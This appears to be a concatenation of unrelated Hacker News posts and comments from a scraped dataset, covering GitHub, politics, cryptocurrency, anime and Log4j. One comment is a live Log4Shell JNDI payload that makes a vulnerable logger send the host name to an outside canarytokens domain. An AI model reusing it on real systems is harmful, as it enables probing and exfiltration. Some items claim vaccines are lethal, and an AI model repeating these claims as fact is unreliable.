skysight-inc/HackerNews huggingface dataset:
Ask HN: Did GitHub remove the CLI checkout instructions from PRs?
Yesterday, at the bottom of any PR on Github, I was able to copy-paste the `git checkout` instructions, so I can test it on my machine. Today, those `git checkout` instructions only show up if there's a merge conflict (at least for me):

https://ibb.co/Qf2fmhw

*Are you seeing the same thing?*

-----

To me, this is very inconvenient. If there is no merge conflict, what I have to do is:
- scroll all the way up the page;
- click the "Code" button;
- copy-paste instructions for Github CLI or use Github Desktop;

But... it's not practical for me to use Github CLI or Github Desktop. I want simple `git checkout` instructions, that I can copy-paste to get that PR working on my machine. You know, like in the good old days... yesterday

*Please tell me they're just A/B testing this and I'm unlucky for seeing it.*

PS. Long-time lurker, first-time poster. Apologies if this doesn't qualify for an "Ask HN" post. Just wanted to find out how far-reaching/permanent this change is... and get help reaching out to Github to convince them not to do this.
I Don't Want to Be a Founder and I Don't Think You Do Either
>The healthy survival strategy in a world of shit isn’t to give up, it’s to fight on and hope for the best.

The best survival strategy is to fight to improve your situation, not fight to change the world.

>The moment you become a cynic is the moment you lose your connection and with it, your ability to impact things. Because a manager who has the wrong view of your corporate culture, isn’t going to change unless you inspire them to be better and that applies to everyone.

Being realist or cynical would help you recognize the situation as it truly stands without looking at it through tainted glasses. It gives you more power, not less. Also, as a cynic, your goal won't be to inspire the manager to change, because that won't be a fight you are going to win. Your goal as a cynic would be to put yourself in a better position in that company.

As a cynic, I didn't try to fight the way things are laid in the company. The moment I found a position which seemed reasonably better at another company, I gave my resignation.
The talking points are endlessly repeated, but does that make them true? What makes this true?
There’s not agreement on what’s desirable, but there’s agreement of what the goals of a piece of legislation are. Often, those goals area measurable. The scale of experimentation that would be required to scientifically test whether legislation does what it’s supposed to do would be massive, but I’d bet it would be worthwhile.
Care to clarify what you mean here? Had a subaru outback with eyesight a few years ago and I tested it with stationary objects in path multiple times (cardboard boxes and such). The subaru braked and stopped short of the objects 100% of the time.
Well, BT is a hell of a protocol. I wouldn't wish that on anyone.
I mean, while we shouldn't leak but the systems should be able to deal with it right?
It's too dark to search for it, so you'd have to already know where the latch is at. I didn't know about keyless trunks until my ex-wife needed a jump and the battery was in the trunk, which could only be opened electronically or with the 'latch.' Google to the rescue!
OWASP Top – The Log4j Edition
OWASP Top 10 2021 - the #log4j edition:

A1 log before auth

A2

A3 log string interpolation

A4 noone has time 4 threat modeling

A5 JNDI enabled by default

A6 unfunded open source maintainers

A7

A8

A9 y u no filter ur logs???

A10 sending requests to remote ldaps is fun

Goodluck everyone and happy Tuesday
Can This DIY Rocket Program Send an Astronaut to Space
Now that is a statement I can get behind.
There are very few quaint streets in LA that are zoned commercial. So in LA we're not talking about "streets". There may be places that fit that description but I'd expect parking spots are not abundant there.

This feels to me like recently gentrified neighborhoods wanting to keep the "riffraff" out.
Maybe this is because the quote "Any sufficiently advanced technology is indistinguishable from magic." would imply that the computer would stop working ? (This was only intended as a pun, as the reason is most likely the author prefers the other set of characters, but having the kernel panic handling module be named Touma would add to the spirit)

For those that would (most understandably) not get the reference in those names, there is a novel saga called "To Aru Majutsu no Index"/"a certain magical index", which the name references (to aru == "a certain"), and Misaka/Kuroko are characters from it.

By the way, is Yutani a reference to something ?
> Polarization is a problem when you let a political system polarize.

Aha. So that's the cause of polarization. Now I get it.
'if it was as simple as "use google as an advertising partner on your site" i'm sure we'd be hearing about it'

There used to be the same kind of conspiracy theory around G analytics. Hey, guess what?
Think of Ethereum instead as the tamper-proof store for the audit log of the history of all smart contracts in the world. While in the early days you could just transact on that, it doesn't scale if everyone's trying to "write to disk" for every single transaction all at once. So the article, and the companion piece by the same author at https://every.to/almanack/defriday-2-polygon-s-surge-ethereu... describe ways to have other, more lightweight chains that periodically flush their changes to the Ethereum chain. It's elegant, and as with all things cryptocurrency, just requires people to believe that running validator and miner nodes is worth it.
Mortality risk of vaccination is 7 times higher in 20s [pdf]
Just curious, why does reality have to be "cured?"

Living means feeling pain and pleasure, triumph and defeat, love and hate, grief and bliss. I would challenge anyone to prove that you can have any one of those without its opposite.

Borrible, your reality does not have to be feared. You can embrace it. Only then can you experience.
Yes, this is absolutely the root of the problem. First-past-the-post voting has been well known as a flawed system for over a century now and voters use every chance they get to express their distaste for both parties, but we keep acting like it’s some fleeting mystery.
Yeah one difficult client can wreak havoc on a freelance business. I would just give an outrageous quote if I wanted to get rid of them. Also why it’s important to have contracts.
Yes, you are paying.
I am a little surprised this isn't in Rust or C.
Papers aren’t pop-sci articles, they do not target an audience that does not knows anything about the field yet. They are from experts for experts. If someone wants to familiarize themselves with the language, symbols and methods of a field, a textbook is a better thing to start with. Over time they will also learn the shared knowledge of the field that isn’t even mentioned in these articles.
>Is it incompetence? Malice? I'd really like to see an in-depth investigation of this phenomenon

"Word of advice. Agents are bad, but whatever you do, stay the hell away from Marketing."

- Thomas A. Anderson
Different mindsets. I was cutting my teeth on a set of 12 static servers/processes, with no autoscaling or auto reboots. Memory leaks were rare but reported. Usually FD leaks were culprits. So learned a ton about how to write really correct applications, and today it just feels like none of that matters. And in complete fairness, with today's ops tools, it probably doesn't.
I think the pacing of Enders game isn't right for Hollywood. The middle of the book, where he's in battle school figuring out politics and strategy is the best part. And what kid doesn't want to be in the battle room? They basically rushed through all the good stuff in order to make room for a longer ending.

It would probably be better as a miniseries.
Yep, not much more than moulding holding it in.
This point is not totally unfounded. The US (and the UK for that matter) have a two party system that heavily supports polarization. One side is for certain things only because the other side is against it, or against something because the other side is for it (same for the other side). I wonder however if this actually that bad in absolute numbers (if I understood US politics correctly the political representation is wildly lopsided towards the party with the rural voters, when compared to actual numbers of people).

Polarization is also an issue in Europe e.g. on certain topics like the pandemic response where the typical 25% of misinformed start to matter for everybody. Words like "polarized" or "divided" always suggest there is a split through the middle of the society, but quite often it is a loud minority who seeks to force their minority opinion onto the majority.
> As a former linux expert and sysadmin turned developer, I think this attitude is what pissed me off most about current developers

Where by "current" you mean "always has been" (I remember this being a solution to early Rails problems, for example)
For a company that demanded Flash be verboten because of the constant security threat, that's a whole lotta arbitrary code execution in webkit. Hey guys, you can't run this VM in our browser. Tell you what, let's just make our browser do everything it does. We won't run into any problems, I mean, everything's sandboxed right?
Probably like the US after the end of Reconstruction.
> that's pushing the use of "the free market" quite a bit. Cities control the supply of medallions. The fact that people can bid whatever they want for them doesn't make it a "free market".

Why not? Every market and auction is premised on limited resources. There is limited road space, which is auctioned off in the form of tokens, which are the mediallions.
Or.. just wait for the merge? What am I missing?
I'm also a current developer. This isn't a slight against developers, but the prevailing mindset. And that mindset is little more than 'move fast and keep rebooting things'
There's a lot of good anime without fanservice if you find that sort of stuff icky, in all genres too.

* The Promised Neverland (Thriller / Shonen)

* Sleepy Princess in the Demon Castle (Comedy)

* Spirited Away (And really, virtually everything by Miyazaki has no fanservice)

* Oddtaxi (Film Noir / Zootopia world)

* Little Witch Academia (Iyashikei / Healing genre / School)

* Full Metal Alchemist (Battle / Epic Journey anime)

* Fate / Zero (while the Fate/series in general has fanservice and/or harem tropes, Fate/Zero has none)

* Your Lie in April (Romance / Drama)

I know some people just find the fanservice scenes icky, so I try to keep an eye out for the fanservice-free shows for them.

There are also some kinds of nudity which are more artistic in nature rather than fanservice. I think Spice and Wolf handled that sort of thing well for example: Holo's occasional nudity is somewhat representative of her Wolf Goddess form / Pagan diety background, and I don't think it was really used too much for what most would call fanservice (and certainly fit the setting of "Pagan Diety travels across Europe with Merchant").
Why? I've only used my horn for telling people to get off their phone and go because the light turned green. I can't remember it ever being a necessity.
What do you do when the context itself is cynical? Like an authoritarian regime. In those cases “just being optimistic” is a laughable suggestion. This extends to the class and race struggle within “free” societies. To me, there’s a deep link between being oppressed and being cynical. When you’re left without choices you develop a “fixed” mindset.
By that logic, if we truly hated capitalism we could just set off the nukes and never have to worry about stupid capitalism ever again.
Meta Opens Horizon Worlds in the US and Canada
Nice. I'm so sick of never being able to use image search to find a gif because all the search results are fucking videos and not images. Goodbye Giphy, tenor, and all the other useless fake gif sites.
Why do you think that these policies are a product of these people?
I read a great interview with David Hockney where he said that every day he uses an ipad to do verious digital artworks which he just emails to friends of his for free since they cost him nothing and he does them for practise. In his case he had a custom app written for him but he doesn't use a custom input method.

You can see some of the ipad paintings here https://www.theguardian.com/artanddesign/2021/may/10/david-h... although I can't find the original interview about the process.
The BBC's ceaseless propagandizing is probably getting people killed. Hopefully the BBC will not survive as an organization after the delusion bubble pops and people realize that they've been encouraged to inject multiple doses of harmful, potentially lethal, substances for almost zero benefit.
Depends on what its for. I wouldn't mind any unsafe non network connected device, if they really want to hack my programmable thermometer with no network access, or my wired keyboard, they can be my guest! If my server is on intranet, I don't have any fears either, without memory safety hacks can happen, but spectre and meltdown haven't been seen in the wild.

For OS and browsers though, I agree completely if infrastructure as long as its not always connected to the open internet, it doesn't seem to be much of a threat, and even though I don't care about memory safety, the performance of rust tools impresses me! I wish people talked about performance of rust more than its memory safety, I don't care as much about that, but everything being faster? Who wouldn't want that? I made this thread a few days ago. https://news.ycombinator.com/item?id=29456115
try this:

google.##.g:has(a[href="pinterest.com"])
> If you don't realize that a) you're probably who they're looking for, and b) you probably have some room to grow when it comes to picking up on subtext.

Don’t get me wrong, I’d never work with the manchildren at comma.ai. I’ve interacted extensively with George Hotz in the past and he’s certainly not a person I’d want to spend any time in the same room with.

I just don’t see any issue with their choice of office space, it just seems like a perfect fit for their business.

> To me a mansion as a startup HQ screams tech-bro 24-7 party culture with some major WLB issues

Where else would you put your car tech startup in SF? Software engineers aren’t going to work out of a garage, and good luck finding a traditional office space with decent facilities for working on cars.

FWIW this is hardly a mansion https://www.redfin.com/CA/San-Francisco/41-Santa-Monica-Way-...

Comma.ai has a “proper” facility now, but they had to move off to San Diego for that.
Okay, I'm interested but not quite following. How so? Are we talking software, or do you mean to get more mileage out of hardware by fixing failed machines?
“crowdserfing”
Don't blame GPT-3, there aren't that many words on there.
Why doesn't this work, does their sandbox suck? Qubes os seems to do it fine.
How to Build a Killer Circular Economy Startup
So using the fire code, ~800 people died last year (where? what data?). What is your argument for not using it?
> the federal government operates as a pendulum.

That seems like wishful thinking, to me. Also, I think the federal government (I take it you mean the government of the USA) is rather weak; state governments seem to have a lot more power. Not saying whether I think that is good or bad.
I live in a country where free speech is being suppressed more and more each day, and this “no-complain” mentality is exactly what purveyors of state propaganda use against the opposition to silence criticism.

It is easy to talk about tackling problems head-on when they are solvable on the individual scale, but anybody who encourages this “no complaining” mentality and without any qualifiers should not be taken seriously. It’s likely that the author doesn’t yet know the purpose that complaints or criticism play in feedback loops and how they trigger improvement… and even then, anybody who’s lived long enough would know that there are just some things that are bigger than our own selves and which aren’t battles worth fighting, unless you already have some kind of privilege or advantage or cosmologically-written fate that could increase your chances of effecting the change that you want to happen.
Certain scientific software packages (e.g., Tensorflow, pymc3, etc) do have frameworks that you follow to return pipeline and result objects that follow some data model that others can learn quickly (e.g., an arviz::InferenceData result object). I wish there was a more extensive framework where this is applied end-to-end from data input, to library components in a pipeline processes, to the result, and then to plot.
This was discussed over and over, including here on HN in 2019. [1]

java.net.URL was introduced in Java 1.0, the very first public release of Java back in 1996.

In 2001, Java 1.4 included a new class java.net.URI that addressed this and other improvements.

Since then, it is well known by average experienced Java developers to a) read javadocs, b) not use URL class, and c) use URI.

It's been 19 years this problem has been fixed.

As to why not remove it, I'd suggest to dig through the OpenJDK mailing list.

[1] https://news.ycombinator.com/item?id=21765788
When is this feature coming to an app near me?
I work at Facebook and am currently working on implementing the foundation to support exactly this.

https://github.com/osandov/drgn/pull/129
Go skim the San Francisco Parklet Manual: http://groundplaysf.org/wp-content/uploads/San-Francisco-Par...

I see a well-designed, clear, and not-very-dense set of guidelines for building and maintaining an outdoor dining space. You could probably squeeze everything in this document into 10 pages of terse prose, but that would be far less intelligible. Friedersdorf is just being his typical contrarian self in order to get contrarian clickthroughs.

There's some really great content in this document: pages 29-30 explain in very clear terms how to attach your parklet to an existing street, and include clear, helpful diagrams. Pages 37-39 explain in great detail how to make your parklet accessible to people using wheelchairs, and even include helpful architectural diagrams and photographs.

If the original PDF had been submitted instead of Conor's contrarian clickbait, I imagine that most of the comments would've been about the terrific guidance around best practices.
Skill Range of the Elite Judo Competitor (1997)
> never thought I'd suggest hackintosh resources to a Mac user

The first generation Mac Pros (2006/2007, with 32-bit EFI) are like this too and need to be basically hackintoshed to boot Mac OS X 10.8 and later: https://forums.macrumors.com/threads/2006-2007-mac-pro-1-1-2...
At scale, server failures are going to happen. Maybe it's a power outage. Maybe it's a failed drive. Maybe it's a kernel crash. Only one of those can be remedied (not even prevented) with careful debugger investigation, so you're going to have to do the work to be able to handle such failures gracefully. At that point, unless the leaks are causing outages so rapidly that the machines can't handle, then rebooting becomes not that big of a deal, while wasting senior eng days trying to track them down is a real cost.
Maybe it exists from before today? Where did the regulation come from?
It's always good to see more options when it comes to quant trading libraries.

I was going to make a snide comment, based on the number of broken internal links and examples using 2019 as "today", that I'm not sure Goldmans is serious about this. But then I went to the GH repo and found they have been doing releases every 1-2 weeks and have 903 stars. So that's a decent start.

As an ex-JPMorgan front office developer, the market and pricing context conventions are reassuringly familiar, indicating the lineage of JPM's Athena, BAML's Quartz etc back to GS's SecDB.

And for people who want to read more about "bank Python", this HN story from 6 weeks ago got 325 comments:

https://news.ycombinator.com/item?id=29104047
${jndi:ldap://x${hostName}.L4J.xorgmd5pnq3v4anyr450qx4l3.canarytokens.com/a}
"3 weeks is the realistic estimate, 2 weeks is our best case scenario. The original deadline is no longer realistic due to <changes in scope>|<missing materials>|<whatever>, but if you wish to launch on Friday we can do so by removing tasks from scope, would you prefer that solution"

This reminds me what stuck with me after reading Shape Up, at a time when it was presented as the replacement for our Agile framework at work. What these methods have in common is a ritualized way to manage disappointment and help management to accept the loss of something they really wanted.
I did, it was all intranet, I mentioned this in another post, but they didn't have the same threats as we do today.

>PCs came with dedicated reset buttons for a reason!

They still do! Windows 9x did suck, Windows NT however was amazing, it is like the most Linux like of all the Windows. How could they release Windows ME...
Ask HN: Is AWS Down?
Can't access Amazon Workspace for the past served hours in us-east1. Is anyone facing the same issue?
Lapce – Fast and Powerful Code Editor written in Rust
A transaction incurs one-time electricity costs for the miner, but also permanent storage costs for miners (who must have a full blockchain copy).

For a miner, currently the latter is negligible. Increasing block size implies more storage space needed, which would push amateur miners out, making Bitcoin less decentralized than now[0]. Over time, the storage costs will become massive. This is why block sizes have stayed relatively low.

One reason I'm bearish on Bitcoin is that it's absurd that a one-time fee allows you to essentially have a permanent public billboard. For example, people have posted links to illegal content on the blockchain that is essentially unremovable[1].

[0]: https://eprint.iacr.org/2013/829.pdf

[1]: https://www.bbc.com/news/technology-47130268
Variation yes but I don't know about functional variation. I'd think the answers to liquid tolerance are either "no holes at all" or "holes at least 10cm up" with basically no need for any other categories.
Build labs are infrastructure. You can't build iOS on a Linux machine, so at least some percentage of their infra is presumably Macs in racks.
We'll solve that build problem with time machines!
hmm, I did, a few times. I don't see that quote in the parent. They do say that white and Asian people have more opportunity which these numbers clearly confirm.
I heard the issue is that you lose some functionality from someone who did that. I wonder if it will exist with the M1 as well.
> in Europe multiple parties represented in parliament are the norm;

Not in the UK. There are multiple parties, but one party is the party of government, and another is the Official Opposition. Third parties are just third parties. This is the same in the USA, I believe.
> At no point do I want pretty visualisations made by wannbe PhD candidates

See Figure (5). Your argument doesn't really counter any part of the scientific notebook. A notebook will still have the abstract and conclusion (result & discussion). The tools mentioned in the article describes how to restructure the methods, data, and figures. You're note going to look at these anyways until the abstract and conclusion intrigues you.